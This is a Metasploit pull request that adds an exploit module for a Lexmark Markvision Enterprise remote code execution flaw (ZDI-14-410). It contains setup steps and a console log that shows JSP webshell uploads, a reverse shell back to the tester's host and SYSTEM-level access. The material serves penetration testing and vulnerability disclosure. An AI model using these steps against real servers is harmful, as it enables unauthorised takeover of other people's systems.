rapid7/metasploit-framework — pull request #4476 by jvazquez-r7 (2014-12-29 16:44:13+00:00)
Title: Add module for ZDI-14-410 Lexmark Markvision Enterprise RCE

Verification
-----------

- [ ] Install Windows 2003 SP2
- [ ] Install Lexmark markvision enterprise 2.0.0. It can be downloaded from: http://media.lexmark.com/www/package/markvision/MVE-2.0.0/MVE-2.0.0.exe
- [ ] Verify which the webapp runs correctly on the port 9788/TCP
- [ ] Run msfconsole
- [ ] Use the module: ```use exploit/windows/http/lexmark_markvision_gfd_upload```
- [ ] set RHOST
- [ ] run check, verify the target appears as vulnerable.

```
msf > use exploit/windows/http/lexmark_markvision_gfd_upload
msf exploit(lexmark_markvision_gfd_upload) > set rhost 172.16.158.133
rhost => 172.16.158.133
msf exploit(lexmark_markvision_gfd_upload) > check
[*] 172.16.158.133:9788 - The target appears to be vulnerable.
```

- [ ] run exploit, verify you get a SYSTEM session back

```
msf exploit(lexmark_markvision_gfd_upload) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.133:9788 - Uploading info leak JSP 0YMi.jsp...
[+] 172.16.158.133:9788 - JSP successfully uploaded
[+] 172.16.158.133:9788 - Working directory found in C:\Program Files\Lexmark\Markvision Enterprise\tomcat
[*] 172.16.158.133:9788 - Uploading JSP payload Vs0EjhB.jsp...
[+] 172.16.158.133:9788 - JSP successfully uploaded
[*] 172.16.158.133:9788 - Executing payload...
[*] Command shell session 2 opened (172.16.158.1:4444 -> 172.16.158.133:1416) at 2014-12-29 10:39:20 -0600
/webapps/ROOT/0YMi.jsp Files\Lexmark\Markvision Enterprise\tomcat
/webapps/ROOT/Vs0EjhB.jsples\Lexmark\Markvision Enterprise\tomcat

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>echo 2591175977;echo czOhXOibvlvtseuiicWFVxoUIZMxyKfe
2591175977;echo czOhXOibvlvtseuiicWFVxoUIZMxyKfe

\webapps\ROOT\0YMi.jsp" & echo " ' >/dev/null;echo JnJfKaLXyYQfxXIoetfwrFGGJsFLyfDFrise\tomcaton Enterprise\tomcat
" ' >/dev/null;echo JnJfKaLXyYQfxXIoetfwrFGGJsFLyfDF

C:\WINDOWS\system32>
\webapps\ROOT\Vs0EjhB.jsp" & echo " ' >/dev/null;echo PkPxLUOwwZglussibtPGxrkXTdFyILterise\tomcaton Enterprise\tomcat
" ' >/dev/null;echo PkPxLUOwwZglussibtPGxrkXTdFyILte

C:\WINDOWS\system32>
C:\WINDOWS\system32>whoami
whoami
nt authority\system

```